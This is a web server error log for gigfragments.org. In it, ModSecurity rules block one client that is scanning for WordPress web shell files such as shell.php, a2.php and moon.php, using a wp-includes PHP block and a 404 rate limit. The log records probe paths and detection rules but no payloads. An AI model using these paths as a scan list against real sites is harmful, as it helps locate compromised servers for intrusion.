[Thu Feb 05 16:51:35.634472 2026] [:error] [pid 14577:tid 14593] [client 20.122.171.170:7434] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRaF5ZbKwRdMc_HlgJMDgAAAU4"]
[Thu Feb 05 16:51:46.963203 2026] [autoindex:error] [pid 31775:tid 31829] [client 20.122.171.170:51854] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 05 16:51:50.660004 2026] [:error] [pid 31775:tid 31821] [client 20.122.171.170:51854] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYRaJhNlTj92HTKsJN3d8wAAARA"]
[Thu Feb 05 16:52:05.582387 2026] [:error] [pid 14577:tid 14579] [client 20.122.171.170:7210] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/fk2e3/"] [unique_id "aYRaNZZbKwRdMc_HlgJMRgAAAUA"]
[Thu Feb 05 16:52:29.177018 2026] [:error] [pid 31775:tid 31822] [client 20.122.171.170:51046] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYRaTRNlTj92HTKsJN3eKwAAARE"]
[Thu Feb 05 16:52:31.430593 2026] [:error] [pid 14577:tid 14586] [client 20.122.171.170:49551] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYRaT5ZbKwRdMc_HlgJMYgAAAUc"]
[Thu Feb 05 16:52:32.789950 2026] [:error] [pid 33396:tid 33403] [client 20.122.171.170:48458] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYRaUPTgp_Ev6LiSSgCfEAAAAMA"]
[Thu Feb 05 16:52:33.651706 2026] [:error] [pid 31739:tid 31748] [client 20.122.171.170:51921] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYRaUQGrHl_5BvMstJKu0AAAAAc"]
[Thu Feb 05 16:52:36.256697 2026] [:error] [pid 14577:tid 14593] [client 20.122.171.170:49573] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aYRaVJZbKwRdMc_HlgJMZQAAAU4"]
[Thu Feb 05 16:52:37.292702 2026] [:error] [pid 33396:tid 33420] [client 20.122.171.170:7928] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aYRaVfTgp_Ev6LiSSgCfFQAAANE"]
[Thu Feb 05 16:52:37.934007 2026] [:error] [pid 31774:tid 31798] [client 20.122.171.170:48500] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aYRaVajDlLg1NOhSOXUBhgAAAJQ"]
[Thu Feb 05 16:52:38.896152 2026] [:error] [pid 31833:tid 31845] [client 20.122.171.170:7607] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aYRaVhzypZt5yekRAkEukwAAAYo"]
[Thu Feb 05 16:52:41.126145 2026] [:error] [pid 14577:tid 14584] [client 20.122.171.170:51926] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/moon.php"] [unique_id "aYRaWZZbKwRdMc_HlgJMbQAAAUU"]
[Thu Feb 05 16:52:42.396119 2026] [:error] [pid 31833:tid 31850] [client 20.122.171.170:48496] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxo.php"] [unique_id "aYRaWhzypZt5yekRAkEulAAAAY8"]
[Thu Feb 05 16:52:44.593415 2026] [:error] [pid 14577:tid 14585] [client 20.122.171.170:8177] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxo.php"] [unique_id "aYRaXJZbKwRdMc_HlgJMdgAAAUY"]
[Thu Feb 05 16:52:47.097010 2026] [:error] [pid 33396:tid 33413] [client 20.122.171.170:7559] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxo.php"] [unique_id "aYRaX_Tgp_Ev6LiSSgCfHQAAAMo"]
[Thu Feb 05 16:52:49.277840 2026] [:error] [pid 33396:tid 33404] [client 20.122.171.170:8134] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxo.php"] [unique_id "aYRaYfTgp_Ev6LiSSgCfIgAAAME"]
[Thu Feb 05 16:52:51.015568 2026] [:error] [pid 14577:tid 14591] [client 20.122.171.170:42818] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYRaY5ZbKwRdMc_HlgJMigAAAUw"]
[Thu Feb 05 16:52:52.251428 2026] [:error] [pid 14577:tid 14581] [client 20.122.171.170:8139] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYRaZJZbKwRdMc_HlgJMjwAAAUI"]
[Thu Feb 05 16:52:54.162583 2026] [:error] [pid 14577:tid 14582] [client 20.122.171.170:7881] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYRaZpZbKwRdMc_HlgJMlAAAAUM"]
[Thu Feb 05 16:52:55.227503 2026] [:error] [pid 31774:tid 31779] [client 20.122.171.170:42848] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYRaZ6jDlLg1NOhSOXUBkwAAAIE"]
[Thu Feb 05 16:52:58.705105 2026] [:error] [pid 14577:tid 14599] [client 20.122.171.170:48461] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYRaapZbKwRdMc_HlgJMmwAAAVQ"]
[Thu Feb 05 16:52:59.977401 2026] [:error] [pid 33396:tid 33412] [client 20.122.171.170:42837] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYRaa_Tgp_Ev6LiSSgCfKQAAAMk"]
[Thu Feb 05 16:53:00.983367 2026] [:error] [pid 31774:tid 31794] [client 20.122.171.170:40226] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYRabKjDlLg1NOhSOXUBlgAAAJA"]
[Thu Feb 05 16:53:01.925346 2026] [:error] [pid 14577:tid 14584] [client 20.122.171.170:40217] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYRabZZbKwRdMc_HlgJMoAAAAUU"]
[Thu Feb 05 16:53:03.730808 2026] [:error] [pid 31774:tid 31778] [client 20.122.171.170:8154] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aYRab6jDlLg1NOhSOXUBlwAAAIA"]
[Thu Feb 05 16:53:28.382884 2026] [:error] [pid 14577:tid 14591] [client 20.122.171.170:37867] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYRaiJZbKwRdMc_HlgJM0AAAAUw"]
[Thu Feb 05 16:53:30.305181 2026] [:error] [pid 31833:tid 31851] [client 20.122.171.170:47247] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYRaihzypZt5yekRAkEu1QAAAZA"]
[Thu Feb 05 16:53:31.169617 2026] [:error] [pid 14577:tid 14599] [client 20.122.171.170:47257] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYRai5ZbKwRdMc_HlgJM0wAAAVQ"]
[Thu Feb 05 16:53:34.809252 2026] [:error] [pid 14577:tid 14595] [client 20.122.171.170:47241] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYRajpZbKwRdMc_HlgJM2wAAAVA"]
[Thu Feb 05 16:53:38.723218 2026] [:error] [pid 14577:tid 14594] [client 20.122.171.170:8112] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYRakpZbKwRdMc_HlgJM4AAAAU8"]
[Thu Feb 05 16:53:41.537482 2026] [:error] [pid 33396:tid 33413] [client 20.122.171.170:47260] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYRalfTgp_Ev6LiSSgCfWwAAAMo"]
[Thu Feb 05 16:53:47.041209 2026] [:error] [pid 31833:tid 31855] [client 20.122.171.170:47274] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYRamxzypZt5yekRAkEu3QAAAZQ"]
[Thu Feb 05 16:53:47.864393 2026] [:error] [pid 31833:tid 31839] [client 20.122.171.170:47253] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYRamxzypZt5yekRAkEu4QAAAYQ"]
[Thu Feb 05 16:53:48.906861 2026] [:error] [pid 33396:tid 33421] [client 20.122.171.170:47233] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYRanPTgp_Ev6LiSSgCfXAAAANI"]
[Thu Feb 05 16:53:50.686763 2026] [:error] [pid 31833:tid 31845] [client 20.122.171.170:40224] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYRanhzypZt5yekRAkEu5AAAAYo"]
[Thu Feb 05 16:53:52.062763 2026] [:error] [pid 33122:tid 33133] [client 20.122.171.170:50975] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYRaoPW0IebAnFB9KDD9DAAAAEk"]
[Thu Feb 05 16:53:53.040842 2026] [:error] [pid 31739:tid 31760] [client 20.122.171.170:37845] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYRaoQGrHl_5BvMstJKvMwAAABM"]
[Thu Feb 05 16:53:55.792950 2026] [:error] [pid 33396:tid 33420] [client 20.122.171.170:37827] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYRao_Tgp_Ev6LiSSgCfYgAAANE"]
[Thu Feb 05 16:53:57.477310 2026] [:error] [pid 31774:tid 31783] [client 20.122.171.170:42822] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYRapajDlLg1NOhSOXUBtgAAAIU"]
[Thu Feb 05 16:53:58.082865 2026] [:error] [pid 14577:tid 14602] [client 20.122.171.170:8105] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYRappZbKwRdMc_HlgJM5wAAAVc"]
[Thu Feb 05 16:54:01.252841 2026] [:error] [pid 31774:tid 31796] [client 20.122.171.170:50990] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYRaqajDlLg1NOhSOXUBuAAAAJI"]
[Thu Feb 05 16:54:02.498422 2026] [:error] [pid 31775:tid 31828] [client 20.122.171.170:7417] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYRaqhNlTj92HTKsJN3ebAAAARc"]
[Thu Feb 05 16:54:03.535378 2026] [:error] [pid 31739:tid 31743] [client 20.122.171.170:37829] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYRaqwGrHl_5BvMstJKvNwAAAAI"]
[Thu Feb 05 16:54:04.285059 2026] [:error] [pid 31775:tid 31813] [client 20.122.171.170:37838] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYRarBNlTj92HTKsJN3ebwAAAQg"]
[Thu Feb 05 16:54:05.232946 2026] [:error] [pid 14577:tid 14591] [client 20.122.171.170:7388] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYRarZZbKwRdMc_HlgJM6AAAAUw"]
[Thu Feb 05 16:54:06.241309 2026] [:error] [pid 33122:tid 33136] [client 20.122.171.170:37840] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYRarvW0IebAnFB9KDD9FQAAAEw"]
[Thu Feb 05 16:54:07.357862 2026] [:error] [pid 31775:tid 31829] [client 20.122.171.170:48460] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYRarxNlTj92HTKsJN3ecQAAARg"]
[Thu Feb 05 16:54:08.351030 2026] [:error] [pid 33396:tid 33421] [client 20.122.171.170:37849] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYRasPTgp_Ev6LiSSgCfagAAANI"]
[Thu Feb 05 16:54:09.908780 2026] [:error] [pid 33396:tid 33425] [client 20.122.171.170:50979] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYRasfTgp_Ev6LiSSgCfdgAAANY"]
[Thu Feb 05 16:54:10.454517 2026] [:error] [pid 33396:tid 33409] [client 20.122.171.170:7407] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYRasvTgp_Ev6LiSSgCffQAAAMY"]
[Thu Feb 05 16:54:11.992418 2026] [:error] [pid 14577:tid 14587] [client 20.122.171.170:7420] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYRas5ZbKwRdMc_HlgJM6QAAAUg"]
[Thu Feb 05 16:54:13.368798 2026] [:error] [pid 31739:tid 31761] [client 20.122.171.170:42871] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYRatQGrHl_5BvMstJKvPwAAABQ"]
[Thu Feb 05 16:54:13.949786 2026] [:error] [pid 31833:tid 31835] [client 20.122.171.170:50991] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYRatRzypZt5yekRAkEu7wAAAYA"]
[Thu Feb 05 16:54:14.606203 2026] [:error] [pid 33122:tid 33143] [client 20.122.171.170:37880] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYRatvW0IebAnFB9KDD9JwAAAFM"]
[Thu Feb 05 16:54:16.768624 2026] [:error] [pid 33122:tid 33142] [client 20.122.171.170:7412] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYRauPW0IebAnFB9KDD9KgAAAFI"]
